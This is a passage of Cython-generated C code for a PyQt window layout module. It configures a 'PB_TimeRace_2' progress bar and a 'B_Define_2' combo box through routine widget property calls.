__pyx_n_s_verticalLayoutWidget_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 766, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 766, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_7}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 766, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_7}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 766, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 766, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 766, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace_2, __pyx_t_6) < 0) __PYX_ERR(0, 766, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":767 * self.horizontalLayout_5.setObjectName("horizontalLayout_5") * self.PB_TimeRace_2 = QtWidgets.QProgressBar(self.verticalLayoutWidget_3) * self.PB_TimeRace_2.setEnabled(True) # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setToolTip("") * self.PB_TimeRace_2.setStatusTip("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 767, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 767, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__488, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 767, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":768 * self.PB_TimeRace_2 = QtWidgets.QProgressBar(self.verticalLayoutWidget_3) * self.PB_TimeRace_2.setEnabled(True) * self.PB_TimeRace_2.setToolTip("") # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setStatusTip("") * self.PB_TimeRace_2.setAccessibleName("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 768, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 768, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__489, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 768, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":769 * self.PB_TimeRace_2.setEnabled(True) * self.PB_TimeRace_2.setToolTip("") * self.PB_TimeRace_2.setStatusTip("") # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setAccessibleName("") * self.PB_TimeRace_2.setAccessibleDescription("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 769, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 769, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__490, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 769, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":770 * self.PB_TimeRace_2.setToolTip("") * self.PB_TimeRace_2.setStatusTip("") * self.PB_TimeRace_2.setAccessibleName("") # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setAccessibleDescription("") * self.PB_TimeRace_2.setMaximum(1) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 770, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 770, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__491, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 770, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":771 * self.PB_TimeRace_2.setStatusTip("") * self.PB_TimeRace_2.setAccessibleName("") * self.PB_TimeRace_2.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setMaximum(1) * self.PB_TimeRace_2.setProperty("value", 1) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 771, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 771, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__492, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 771, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":772 * self.PB_TimeRace_2.setAccessibleName("") * self.PB_TimeRace_2.setAccessibleDescription("") * self.PB_TimeRace_2.setMaximum(1) # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setProperty("value", 1) * self.PB_TimeRace_2.setTextVisible(True) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 772, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setMaximum); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 772, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__493, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 772, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":773 * self.PB_TimeRace_2.setAccessibleDescription("") * self.PB_TimeRace_2.setMaximum(1) * self.PB_TimeRace_2.setProperty("value", 1) # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setTextVisible(True) * self.PB_TimeRace_2.setFormat("Waiting for start") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 773, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setProperty); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 773, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__494, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 773, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":774 * self.PB_TimeRace_2.setMaximum(1) * self.PB_TimeRace_2.setProperty("value", 1) * self.PB_TimeRace_2.setTextVisible(True) # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setFormat("Waiting for start") * self.PB_TimeRace_2.setObjectName("PB_TimeRace_2") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 774, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setTextVisible); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 774, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__495, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 774, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":775 * self.PB_TimeRace_2.setProperty("value", 1) * self.PB_TimeRace_2.setTextVisible(True) * self.PB_TimeRace_2.setFormat("Waiting for start") # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setObjectName("PB_TimeRace_2") * self.horizontalLayout_5.addWidget(self.PB_TimeRace_2) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 775, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setFormat); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 775, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__496, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 775, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":776 * self.PB_TimeRace_2.setTextVisible(True) * self.PB_TimeRace_2.setFormat("Waiting for start") * self.PB_TimeRace_2.setObjectName("PB_TimeRace_2") # <<<<<<<<<<<<<< * self.horizontalLayout_5.addWidget(self.PB_TimeRace_2) * self.B_Define_2 = QtWidgets.QComboBox(self.verticalLayoutWidget_3) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 776, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 776, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__497, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 776, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":777 * self.PB_TimeRace_2.setFormat("Waiting for start") * self.PB_TimeRace_2.setObjectName("PB_TimeRace_2") * self.horizontalLayout_5.addWidget(self.PB_TimeRace_2) # <<<<<<<<<<<<<< * self.B_Define_2 = QtWidgets.QComboBox(self.verticalLayoutWidget_3) * self.B_Define_2.setMaximumSize(QtCore.QSize(20, 16777215)) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 777, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 777, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 777, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_7) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 777, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 777, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 777, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 777, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 777, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":778 * self.PB_TimeRace_2.setObjectName("PB_TimeRace_2") * self.horizontalLayout_5.addWidget(self.PB_TimeRace_2) * self.B_Define_2 = QtWidgets.QComboBox(self.verticalLayoutWidget_3) # <<<<<<<<<<<<<< * self.B_Define_2.setMaximumSize(QtCore.QSize(20, 16777215)) * self.B_Define_2.setToolTip("") */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 778, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QComboBox); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 778, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 778, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 778, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 778, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 778, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 778, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_7, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 778, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_B_Define_2, __pyx_t_6) < 0) __PYX_ERR(0, 778, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":779 * self.horizontalLayout_5.addWidget(self.PB_TimeRace_2) * self.B_Define_2 = QtWidgets.QComboBox(self.verticalLayoutWidget_3) * self.B_Define_2.setMaximumSize(QtCore.QSize(20, 16777215)) # <<<<<<<<<<<<<< * self.B_Define_2.setToolTip("") * self.B_Define_2.setStatusTip("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 779, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setMaximumSize); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 779, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 779, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 779, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__498, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 779, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_1) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 779, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 779, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 779, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 779, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_4, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 779, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":780 * self.B_Define_2 = QtWidgets.QComboBox(self.verticalLayoutWidget_3) * self.B_Define_2.setMaximumSize(QtCore.QSize(20, 16777215)) * self.B_Define_2.setToolTip("") # <<<<<<<<<<<<<< * self.B_Define_2.setStatusTip("") * self.B_Define_2.setAccessibleName("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 780, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 780, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__499, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 780, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":781 * self.B_Define_2.setMaximumSize(QtCore.QSize(20, 16777215)) * self.B_Define_2.setToolTip("") * self.B_Define_2.setStatusTip("") # <<<<<<<<<<<<<< * self.B_Define_2.setAccessibleName("") * self.B_Define_2.setAccessibleDescription("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 781, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 781, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__500, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 781, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":782 * self.B_Define_2.setToolTip("") * self.B_Define_2.setStatusTip("") * self.B_Define_2.setAccessibleName("") # <<<<<<<<<<<<<< * self.B_Define_2.setAccessibleDescription("") * self.B_Define_2.setFrame(True) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, 